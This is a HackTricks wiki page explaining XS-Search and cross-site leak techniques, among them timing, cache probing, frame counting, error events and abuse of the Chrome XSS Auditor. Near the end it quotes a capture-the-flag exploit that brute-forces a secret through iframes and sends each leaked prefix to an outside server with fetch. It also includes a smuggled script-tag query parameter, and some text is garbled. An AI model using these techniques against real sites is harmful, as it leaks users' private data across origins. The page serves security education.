25 KiB
XS-Search
Support HackTricks and get benefits!
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Discover The PEASS Family, our collection of exclusive NFTs
Get the official PEASS & HackTricks swag
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
Share your hacking tricks submitting PRs to the hacktricks github repo.
The best resource to learn XS-Search is https://xsleaks.dev/
Time attack
[Data Leak]
Measuring the time of a response that search for info, it's possible to leak if the info exists.
For more info: https://xsleaks.dev/docs/attacks/xs-search/
Clocks: The performance.now() API allows developers to get high-resolution timing measurements.
There are a considerable number of APIs attackers can abuse to create implicit clocks: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animations, and others**.**
****For more info: https://xsleaks.dev/docs/attacks/timing-attacks/clocks/
Network Timing
Several events can be timed using the mentioned clocks, such as requests, onload and unload events, cross-windows loads...
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/
Performance API
The Performance API
provides access to performance-related information enhanced by the data from the Resource Timing API
which provides the timings of network requests such as the duration but when there’s a Timing-Allow-Origin: *
header sent by the server the transfer size and domain lookup time is also provided.
This data can be accessed by using performance.getEntries
or performance.getEntriesByName
It can also be used to get the execution time using the difference of performance.now()
however this seems to be less precise for a chrome fetch because it only provides the milliseconds.
This API can be used to measure the time of a request or to detect the use of X-Frame-Options as the blocked page won't be added to the performance
object in Chrome.
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/
Execution Timing
Timing the Event Loop
JavaScript’s concurrency model is based on a single-threaded event loop which means it can only run one task at a time.
Inferring how long code from a different origin takes to run by measuring how long it takes to run next in the event pool. The attacker keeps sending events to the event loop with fixed properties, which will eventually be dispatched if the pool is empty. Other origins dispatch events to the same pool, and this is where an attacker infers the time difference by detecting if a delay occurred with one of its tasks.
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
Busy Event Loop
An attacker could locking the event loop of a thread and timing how long it takes for the event loop to become available again. One of the main advantages of this technique is its ability to circumvent Site Isolation, as an attacker origin can influence the execution of another origin.
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
Service Workers
- The attacker registers a service worker in one of their domains (attacker.com).
- In the main document, the attacker issues a navigation (window.open) to the target website and instructs the Service Worker to start a timer.
- When the new window starts loading, the attacker navigates the reference obtained in step 2 to a page handled by the Service Worker.
- When the request performed in step 3 arrives at the service worker, it returns a 204 (No Content) response, which aborts the navigation.
- At this point, the Service Worker collects a measurement from the timer started in step 2. This measurement is affected by how long JavaScript blocked the navigation.
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
jQuery, CSS Selectors & Short-circuit Timing
If jQuery(location.hash)
sdf
Window References
If a page sets its opener
property to null
or is using COOP protection depending on the users' state, it's possible to check the status of the user.
For more info: https://xsleaks.dev/docs/attacks/window-references/
CSS Tricks
CSS can be used to trick a user into exposing information such as embedded pixel values by making visual changes that are affected by the embed. It could be also used to exfiltrate the history or autocomplete passwords.
For more info: https://xsleaks.dev/docs/attacks/css-tricks/
Error Events
When a webpage tries to load an URL if the response has an error status an error event is fired. This helps to find out things like for example if the current user had access to the requested data.
For more info: https://xsleaks.dev/docs/attacks/error-events/
Frame Counting
Counting the number of frames in a web opened via iframe
or window.open
might help to identify the status of the user over that page.
Moreover, if the page has always the same number of frames, checking continuously the number of frames might help to identify a pattern that might leak info.
For more info: https://xsleaks.dev/docs/attacks/frame-counting/
Navigations
Detecting if a cross-site page triggered a navigation (or didn’t) can leak the status of the user in the page.
For more info: https://xsleaks.dev/docs/attacks/navigations/
Download Trigger
If only a logged in user would be able to access a page which will download a file because it's using the Content-Disposition: attachment
header. It'o possible to detect that behaviour.
For more info: https://xsleaks.dev/docs/attacks/navigations/#download-trigger
Server-Side Redirects
If a server-side redirect uses user input inside the redirection and extra data. It's possible to detect this behaviour because usually servers has a limit request length. If the user data is that length - 1, because the redirect is using that data and adding something extra, it will trigger an error detectable via Error Events.
For more info: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
Cross-Origin Redirects
An attacker could inject a CSP using meta tags using the connect-src
which triggers a Violation
event every time a fetch
follows an URL not set in the CSP directive. This allows an attacker to detect if a redirect to another origin occurred.
For more info: https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
Cache Probing
Because under certain (generic) conditions resources are cached by the browser, it would be possible to know for example if a user has accessed a page by checking if some resource of that page has been cached.
For more info: https://xsleaks.dev/docs/attacks/cache-probing/
Timing
You could use a timing technique to check if the resource was cached.
Error Events
If a page loads an image only if the user is logged in, you can invalidate the resource (so it's no longer cached if it was), perform a request that could load that resource and try to load the resource with a bad request (e.g. using an overlong referer header). If the resource load didn't trigger any error, it's because it was cached.
For more info: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events
CORS error on Origin Reflection misconfiguration
In case the Origin header is being reflected in the header Access-Control-Allow-Origin
an attacker can abuse this behaviour to try to fetch the resource in CORS mode. If an error isn't triggered, it means that it was correctly retrieved form the web, if it's triggered, it's because it was accessed from the cache.
****Note that if the origin isn't reflected but a wildcard is used (Access-Control-Allow-Origin: *
) this won't work.
****For more info: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
Fetch with AbortController
AbortController
**** could be combined with fetch and setTimeout to both detect whether the resource is cached and to evict a specific resource from the browser cache. A nice feature of this technique is that the probing occurs without caching new content in the process.
For more info: https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller
Performance API
Using the Performance API it's possible to check if a resource is cached.
For more info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
Partitioned HTTP Cache Bypass
If a site example.com
includes a resource from *.example.com/resource
then that resource will have the same caching key as if the resource was directly requested through top-level navigation. That is because the caching key is consisted of top-level eTLD+1 and frame eTLD+1. 3
Before accessing the cache is faster than loading a resource, it's possible to try to change the location of a page and cancel it 20ms (for example) after. If the origin was changed after the stop, it means that the resource was cached.
For more info: https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass
Element Leaks
HTMLElements
Some HTMLElements will leak some information to cross-origins such as the type of media they are.
- HTMLMediaElement leaks the media
duration
and thebuffered
times. - HTMLVideoElement leaks the
videoHeight
andvideoWidth
some browsers may also havewebkitVideoDecodedByteCount
,webkitAudioDecodedByteCount
andwebkitDecodedFrameCount
- getVideoPlaybackQuality() leaks the
totalVideoFrames
. - HTMLImageElement leaks the
height
andwidth
but if the image is invalid they will be 0 andimage.decode()
will get rejected.
For more info: https://xsleaks.dev/docs/attacks/element-leaks/
Abusing CORB
CORB is a feature of Chrome that makes responses empty if the wrong content type is used. This means that if the type is wrong it’s not cached, so it's possible to infer the type of the media.
For more info: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-corb
Abusing getComputedStyle
getComputedStyle can be used to read an embedded to the current page CSS style sheets. Including those loaded from different origins.
For more info: https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle
There are Open URL Parameters that allow some control over the content such as zoom
, view
, page
, toolbar
.
For chrome, a PDF can be detected with frame counting because an embed
is used internally.
For more info: https://xsleaks.dev/docs/attacks/element-leaks/#pdf
Script Tag
When a cross-origin script is included on a page it’s not directly possible to read its contents. However, if a script uses any built-in functions, it’s possible to overwrite them and read their arguments which might leak valuable information.
For more info: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
Without Javascript
If JavaScript is disabled it’s still possible to leak some information about cross-origin resources. For example, an <object>
can be used to detect **whether a resource responds with **Error Code. What happens is that if a resource //example.org/resource
returns an error in <object data=//example.org/resource>fallback</object>
then fallback
will be rendered. It’s possible to inject another <object>
inside that will leak the information to an outside server, or detect it with CSS.
For more info: https://xsleaks.dev/docs/attacks/element-leaks/#when-javascript-cant-be-used
ID Leak
It's possible to load a page inside an iframe and use the #id_value
to make the page focus on the element of the iframe with indicated if, then if an onblur
signal is triggered, the ID element exists.
For more info: https://xsleaks.dev/docs/attacks/id-attribute/
You can perform the same attack with portal
tags, for more info: https://xsleaks.dev/docs/attacks/experiments/portals/
postMessage Broadcasts
Applications often use postMessage broadcasts to share information with other origins. Listening to this messages one cloud find sensitive info (potentially if the the targetOrigin
param is not used).
Also, the fact of receiving some message can be used as an oracle (you only receive this kind of message if you are logged in).
For more info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
CORB & CORP Leaks
You can find what is CORP in this page.
You can find what is CORB in this page.
A page could leak if it's using these headers to protect in some specific cases.
For more info: https://xsleaks.dev/docs/attacks/browser-features/corb/ and https://xsleaks.dev/docs/attacks/browser-features/corp/
XS-Search - Iframe
Suppose that you can insert the page that has the secret content inside an Iframe.
You can make the victim search for the file that contains "flag" using an Iframe (exploiting a CSRF like in the previous situation). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.
For example:
- URL1: www.attacker.com/xssearch#try1
- URL2: www.attacker.com/xssearch#try2
If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event won't be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.
Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.
If you can make the page error when the correct content is accessed and make it load correctly when any content is accessed, then you can make a loop to extract all the information without meassuring the time.
Iframe Chrome XSS Auditor
Imagine the same situation as in the Timing attack method and you also know that the admin is using a Chrome browser (for example, Chrome-headless) with Chrome XSS Auditor.
Then, you can use iframes to make the victim search for the page containing "flagX" (beeing X any possible character)inside a loop, and you also add to the URL inside the iframes a fake parameter that contains javascript code that will only appear when a valid content is retrived.
For example, if when you search for the content _"my file"_ the web server responds with a page that includes this javascript code:
<script>console.log("you found someting");</script>
If you send a query like:
www.victim.com/search?q=my+file&fake_xss=<script>console.log("you+found+something");<script>
The Chrome XSS Auditor will block the page and an error will appear.
Then, you can use Chrome XSS Auditor to launch an error when a valid response is sent from the victim server. Then, with the Iframe trick you can detect when you have find a file that contains "flag" and the next valid character.
For more information: https://www.youtube.com/watch?v=HcrQy0C-hEA
Abusing Chrome XSS Auditor to steal tokens
Using the previous technique (with Chrome XSS Auditor) you can steal chunks of the code returned to a user (like tokens for example). For more information: https://portswigger.net/blog/abusing-chromes-xss-auditor-to-steal-tokens
Please, notice that you will steal information returned to a user and not any code from the web server.
Custom Detection
In the fbcft2019 the challenge: secret note keeper was resolved exploiting a XS-Search.
You could make the administrator (a headlessChrome) visit any page and there was a CSRF vulnerable page that was able to search files by content. You also knew that the flag starts by fb{ and only the admin had access to it.
It was also important to notice that when you made a search, the results of the seach appeared inside an iframe (if something was found). And none iframe appeared if anything was found.
So, you could make the admin visit your exploit that will be a loop of every possible charater inside fb{X inside an iframe. And using:
contentWindow.frames.length != 0
You could check how many iframes where created inside your iframe, and if any, then the character would be correct and you could start extracting the next one.
This is a code example of this from: https://sectt.github.io/writeups/FBCTF19/secret_note_keeper/README
<!DOCTYPE html>
<html>
<head>
<title>fbctf secret note keeper</title>
</head>
<body></body>
<script>
var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
var charLen = chars.length;
var ENDPOINT = "http://challenges.fbctf.com:8082/search?query="
var x = document.createElement('iframe');
function search(leak, charCounter) {
var curChar = chars[charCounter];
//Chek if the character is valid
x.setAttribute("src", 'http://challenges.fbctf.com:8082/search?query=' + leak + curChar);
document.body.appendChild(x);
console.log("leak = " + leak + curChar);
//When the page inside the iframe is loaded
x.onload = () => {
//Check the number of iframes inside
if (x.contentWindow.frames.length != 0) {
// If 1 or more, then, the character was valid
fetch('http://myserver/leak?' + escape(leak), {
method: "POST",
mode: "no-cors",
credentials: "include"
});
leak += curChar
}
search(leak, (charCounter + 1) % chars.length);
}
}
function exploit() {
search("fb{", 0);
}
exploit();
</script>
</html>
More information
{% embed url="https://github.com/xsleaks/xsleaks" %}
https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Support HackTricks and get benefits!
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Discover The PEASS Family, our collection of exclusive NFTs
Get the official PEASS & HackTricks swag
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
Share your hacking tricks submitting PRs to the hacktricks github repo.